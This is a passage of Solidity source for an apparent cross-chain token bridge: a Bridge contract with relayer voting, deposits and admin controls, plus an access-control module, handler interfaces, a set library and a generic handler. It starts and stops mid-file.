destinationChainID + depositNonce => dataHash => Proposal mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals; // destinationChainID + depositNonce => dataHash => relayerAddress => bool mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal; event RelayerThresholdChanged(uint256 indexed newThreshold); event RelayerAdded(address indexed relayer); event RelayerRemoved(address indexed relayer); event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce); event ProposalEvent( uint8 indexed originChainID, uint64 indexed depositNonce, ProposalStatus indexed status, bytes32 resourceID, bytes32 dataHash ); event ProposalVote( uint8 indexed originChainID, uint64 indexed depositNonce, ProposalStatus indexed status, bytes32 resourceID ); bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE"); modifier onlyAdmin() { _onlyAdmin(); _; } modifier onlyAdminOrRelayer() { _onlyAdminOrRelayer(); _; } modifier onlyRelayers() { _onlyRelayers(); _; } function _onlyAdminOrRelayer() private { require( hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender), "sender is not relayer or admin" ); } function _onlyAdmin() private { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role"); } function _onlyRelayers() private { require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role"); } /** @notice Initializes Bridge, creates and grants {msg.sender} the admin role, creates and grants {initialRelayers} the relayer role. @param chainID ID of chain the Bridge contract exists on. @param initialRelayers Addresses that should be initially granted the relayer role. @param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed. */ constructor( uint8 chainID, address[] memory initialRelayers, uint256 initialRelayerThreshold, uint256 fee, uint256 expiry ) public { _chainID = chainID; _relayerThreshold = initialRelayerThreshold; _fee = fee; _expiry = expiry; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE); for (uint256 i; i < initialRelayers.length; i++) { grantRole(RELAYER_ROLE, initialRelayers[i]); _totalRelayers++; } } /** @notice Returns true if {relayer} has the relayer role. @param relayer Address to check. */ function isRelayer(address relayer) external view returns (bool) { return hasRole(RELAYER_ROLE, relayer); } /** @notice Removes admin role from {msg.sender} and grants it to {newAdmin}. @notice Only callable by an address that currently has the admin role. @param newAdmin Address that admin role will be granted to. */ function renounceAdmin(address newAdmin) external onlyAdmin { grantRole(DEFAULT_ADMIN_ROLE, newAdmin); renounceRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** @notice Pauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ function adminPauseTransfers() external onlyAdmin { _pause(); } /** @notice Unpauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ function adminUnpauseTransfers() external onlyAdmin { _unpause(); } /** @notice Modifies the number of votes required for a proposal to be considered passed. @notice Only callable by an address that currently has the admin role. @param newThreshold Value {_relayerThreshold} will be changed to. @notice Emits {RelayerThresholdChanged} event. */ function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin { _relayerThreshold = newThreshold; emit RelayerThresholdChanged(newThreshold); } /** @notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be added. @notice Emits {RelayerAdded} event. */ function adminAddRelayer(address relayerAddress) external onlyAdmin { require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!"); grantRole(RELAYER_ROLE, relayerAddress); emit RelayerAdded(relayerAddress); _totalRelayers++; } /** @notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be removed. @notice Emits {RelayerRemoved} event. */ function adminRemoveRelayer(address relayerAddress) external onlyAdmin { require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!"); revokeRole(RELAYER_ROLE, relayerAddress); emit RelayerRemoved(relayerAddress); _totalRelayers--; } /** @notice Sets a new resource for handler contracts that use the IERCHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetResource( address handlerAddress, bytes32 resourceID, address tokenAddress ) external onlyAdmin { _resourceIDToHandlerAddress[resourceID] = handlerAddress; IERCHandler handler = IERCHandler(handlerAddress); handler.setResource(resourceID, tokenAddress); } /** @notice Sets a new resource for handler contracts that use the IGenericHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetGenericResource( address handlerAddress, bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external onlyAdmin { _resourceIDToHandlerAddress[resourceID] = handlerAddress; IGenericHandler handler = IGenericHandler(handlerAddress); handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig); } /** @notice Sets a resource as burnable for handler contracts that use the IERCHandler interface. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin { IERCHandler handler = IERCHandler(handlerAddress); handler.setBurnable(tokenAddress); } /** @notice Returns a proposal. @param originChainID Chain ID deposit originated from. @param depositNonce ID of proposal generated by proposal's origin Bridge contract. @param dataHash Hash of data to be provided when deposit proposal is executed. @return Proposal which consists of: - _dataHash Hash of data to be provided when deposit proposal is executed. - _yesVotes Number of votes in favor of proposal. - _noVotes Number of votes against proposal. - _status Current status of proposal. */ function getProposal( uint8 originChainID, uint64 depositNonce, bytes32 dataHash ) external view returns (Proposal memory) { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID); return _proposals[nonceAndID][dataHash]; } /** @notice Changes deposit fee. @notice Only callable by admin. @param newFee Value {_fee} will be updated to. */ function adminChangeFee(uint256 newFee) external onlyAdmin { require(_fee != newFee, "Current fee is equal to new fee"); _fee = newFee; } /** @notice Used to manually withdraw funds from ERC safes. @param handlerAddress Address of handler to withdraw from. @param tokenAddress Address of token to withdraw. @param recipient Address to withdraw tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw. */ function adminWithdraw( address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID ) external onlyAdmin { IERCHandler handler = IERCHandler(handlerAddress); handler.withdraw(tokenAddress, recipient, amountOrTokenID); } /** @notice Initiates a transfer using a specified handler contract. @notice Only callable when Bridge is not paused. @param destinationChainID ID of chain deposit will be bridged to. @param resourceID ResourceID used to find address of handler to be used for deposit. @param data Additional data to be passed to specified handler. @notice Emits {Deposit} event. */ function deposit( uint8 destinationChainID, bytes32 resourceID, bytes calldata data ) external payable whenNotPaused { require(msg.value == _fee, "Incorrect fee supplied"); address handler = _resourceIDToHandlerAddress[resourceID]; require(handler != address(0), "resourceID not mapped to handler"); uint64 depositNonce = ++_depositCounts[destinationChainID]; _depositRecords[depositNonce][destinationChainID] = data; IDepositExecute depositHandler = IDepositExecute(handler); depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data); emit Deposit(destinationChainID, resourceID, depositNonce); } /** @notice When called, {msg.sender} will be marked as voting in favor of proposal. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param depositNonce ID of deposited generated by origin Bridge contract. @param dataHash Hash of data provided when deposit was made. @notice Proposal must not have already been passed or executed. @notice {msg.sender} must not have already voted on proposal. @notice Emits {ProposalEvent} event with status indicating the proposal status. @notice Emits {ProposalVote} event. */ function voteProposal( uint8 chainID, uint64 depositNonce, bytes32 resourceID, bytes32 dataHash ) external onlyRelayers whenNotPaused { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID"); require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled"); require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted"); if (uint256(proposal._status) == 0) { ++_totalProposals; _proposals[nonceAndID][dataHash] = Proposal({ _resourceID: resourceID, _dataHash: dataHash, _yesVotes: new address[](1), _noVotes: new address[](0), _status: ProposalStatus.Active, _proposedBlock: block.number }); proposal._yesVotes[0] = msg.sender; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash); } else { if (block.number.sub(proposal._proposedBlock) > _expiry) { // if the number of blocks that has passed since this proposal was // submitted exceeds the expiry threshold set, cancel the proposal proposal._status = ProposalStatus.Cancelled; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash); } else { require(dataHash == proposal._dataHash, "datahash mismatch"); proposal._yesVotes.push(msg.sender); } } if (proposal._status != ProposalStatus.Cancelled) { _hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true; emit ProposalVote(chainID, depositNonce, proposal._status, resourceID); // If _depositThreshold is set to 1, then auto finalize // or if _relayerThreshold has been exceeded if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) { proposal._status = ProposalStatus.Passed; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash); } } } /** @notice Executes a deposit proposal that is considered passed using a specified handler contract. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param depositNonce ID of deposited generated by origin Bridge contract. @param dataHash Hash of data originally provided when deposit was made. @notice Proposal must be past expiry threshold. @notice Emits {ProposalEvent} event with status {Cancelled}. */ function cancelProposal( uint8 chainID, uint64 depositNonce, bytes32 dataHash ) public onlyAdminOrRelayer { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled"); require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold"); proposal._status = ProposalStatus.Cancelled; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash); } /** @notice Executes a deposit proposal that is considered passed using a specified handler contract. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param resourceID ResourceID to be used when making deposits. @param depositNonce ID of deposited generated by origin Bridge contract. @param data Data originally provided when deposit was made. @notice Proposal must have Passed status. @notice Hash of {data} must equal proposal's {dataHash}. @notice Emits {ProposalEvent} event with status {Executed}. */ function executeProposal( uint8 chainID, uint64 depositNonce, bytes calldata data, bytes32 resourceID ) external onlyRelayers whenNotPaused { address handler = _resourceIDToHandlerAddress[resourceID]; uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); bytes32 dataHash = keccak256(abi.encodePacked(handler, data)); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(proposal._status != ProposalStatus.Inactive, "proposal is not active"); require(proposal._status == ProposalStatus.Passed, "proposal already transferred"); require(dataHash == proposal._dataHash, "data doesn't match datahash"); proposal._status = ProposalStatus.Executed; IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]); depositHandler.executeProposal(proposal._resourceID, data); emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash); } /** @notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1. This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0. @param addrs Array of addresses to transfer {amounts} to. @param amounts Array of amonuts to transfer to {addrs}. */ function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin { for (uint256 i = 0; i < addrs.length; i++) { addrs[i].transfer(amounts[i]); } } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.6.0; /** @title Interface for handler contracts that support deposits and deposit executions. @author ChainSafe Systems. */ interface IDepositExecute { /** @notice It is intended that deposit are made using the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. @param data Consists of additional data needed for a specific deposit. */ function deposit( bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data ) external; /** @notice It is intended that proposals are executed by the Bridge contract. @param data Consists of additional data needed for a specific deposit execution. */ function executeProposal(bytes32 resourceID, bytes calldata data) external; } pragma solidity ^0.6.0; /** @title Interface for Bridge contract. @author ChainSafe Systems. */ interface IBridge { /** @notice Exposing getter for {_chainID} instead of forcing the use of call. @return uint8 The {_chainID} that is currently set for the Bridge contract. */ function _chainID() external returns (uint8); } pragma solidity ^0.6.0; /** @title Interface to be used with handlers that support ERC20s and ERC721s. @author ChainSafe Systems. */ interface IERCHandler { /** @notice Correlates {resourceID} with {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function setResource(bytes32 resourceID, address contractAddress) external; /** @notice Marks {contractAddress} as mintable/burnable. @param contractAddress Address of contract to be used when making or executing deposits. */ function setBurnable(address contractAddress) external; /** @notice Used to manually release funds from ERC safes. @param tokenAddress Address of token contract to release. @param recipient Address to release tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release. */ function withdraw( address tokenAddress, address recipient, uint256 amountOrTokenID ) external; } pragma solidity ^0.6.0; /** @title Interface for handler that handles generic deposits and deposit executions. @author ChainSafe Systems. */ interface IGenericHandler { /** @notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external; } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./IGenericHandler.sol"; /** @title Handles generic deposits and deposit executions. @author ChainSafe Systems. @notice This contract is intended to be used with the Bridge contract. */ contract GenericHandler is IGenericHandler { address public _bridgeAddress; struct DepositRecord { uint8 _destinationChainID; address _depositer; bytes32 _resourceID; bytes _metaData; } // depositNonce => Deposit Record mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords; // resourceID => contract address mapping(bytes32 => address) public _resourceIDToContractAddress; // contract address => resourceID mapping(address => bytes32) public _contractAddressToResourceID; // contract address => deposit function signature mapping(address => bytes4) public _contractAddressToDepositFunctionSignature; // contract address => execute proposal function signature mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature; // token contract address => is whitelisted mapping(address => bool) public _contractWhitelist; modifier onlyBridge() { _onlyBridge(); _; } function _onlyBridge() private { require(msg.sender == _bridgeAddress, "sender must be bridge contract"); } /** @param bridgeAddress Contract address of previously deployed Bridge. @param initialResourceIDs Resource IDs used to identify a specific contract address. These are the Resource IDs this contract will initially support. @param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be called to perform deposit and execution calls. @param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {deposit} @param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {executeProposal} @dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures}, and {initialExecuteFunctionSignatures} must all have the same length. Also, values must be ordered in the way that that index x of any mentioned array must be intended for value x of any other array, e.g. {initialContractAddresses}[0] is the intended address for {initialDepositFunctionSignatures}[0]. */ constructor( address bridgeAddress, bytes32[] memory initialResourceIDs, address[] memory initialContractAddresses, bytes4[] memory initialDepositFunctionSignatures, bytes4[] memory initialExecuteFunctionSignatures ) public { require( initialResourceIDs.length == initialContractAddresses.length, "initialResourceIDs and initialContractAddresses len mismatch" ); require( initialContractAddresses.length == initialDepositFunctionSignatures.length, "provided contract addresses and function signatures len mismatch" ); require( initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length, "provided deposit and execute function signatures len mismatch" ); _bridgeAddress = bridgeAddress; for (uint256 i = 0; i < initialResourceIDs.length; i++) { _setResource( initialResourceIDs[i], initialContractAddresses[i], initialDepositFunctionSignatures[i], initialExecuteFunctionSignatures[i] ); } } /** @param depositNonce This ID will have been generated by the Bridge contract. @param destId ID of chain deposit will be bridged to. @return DepositRecord which consists of: - _destinationChainID ChainID deposited tokens are intended to end up on. - _resourceID ResourceID used when {deposit} was executed. - _depositer Address that initially called {deposit} in the Bridge contract. - _metaData Data to be passed to method executed in corresponding {resourceID} contract. */ function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) { return _depositRecords[destId][depositNonce]; } /** @notice First verifies {_resourceIDToContractAddress}[{resourceID}] and {_contractAddressToResourceID}[{contractAddress}] are not already set, then sets {_resourceIDToContractAddress} with {contractAddress}, {_contractAddressToResourceID} with {resourceID}, {_contractAddressToDepositFunctionSignature} with {depositFunctionSig}, {_contractAddressToExecuteFunctionSignature} with {executeFunctionSig}, and {_contractWhitelist} to true for {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external override onlyBridge { _setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig); } /** @notice A deposit is initiatied by making a deposit in the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. @param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 64 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function deposit( bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data ) external onlyBridge { bytes32 lenMetadata; bytes memory metadata; assembly { // Load length of metadata from data + 64 lenMetadata := calldataload(0xC4) // Load free memory pointer metadata := mload(0x40) mstore(0x40, add(0x20, add(metadata, lenMetadata))) // func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) + // bytes length (32) + resourceId (32) + length (32) = 0xC4 calldatacopy( metadata, // copy to metadata 0xC4, // copy from calldata after metadata length declaration @0xC4 sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up)) ) } address contractAddress = _resourceIDToContractAddress[resourceID]; require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metadata); (bool success, ) = contractAddress.call(callData); require(success, "delegatecall to contractAddress failed"); } _depositRecords[destinationChainID][depositNonce] = DepositRecord( destinationChainID, depositer, resourceID, metadata ); } /** @notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract. @param data Consists of {resourceID}, {lenMetaData}, and {metaData}. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 32 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge { bytes memory metaData; assembly { // metadata has variable length // load free memory pointer to store metadata metaData := mload(0x40) // first 32 bytes of variable length in storage refer to length let lenMeta := calldataload(0x64) mstore(0x40, add(0x60, add(metaData, lenMeta))) // in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params calldatacopy( metaData, // copy to metaData 0x64, // copy from calldata after data length declaration at 0x64 sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64) ) } address contractAddress = _resourceIDToContractAddress[resourceID]; require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metaData); (bool success, ) = contractAddress.call(callData); require(success, "delegatecall to contractAddress failed"); } } function _setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) internal { _resourceIDToContractAddress[resourceID] = contractAddress; _contractAddressToResourceID[contractAddress] = resourceID; _contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig; _contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig; 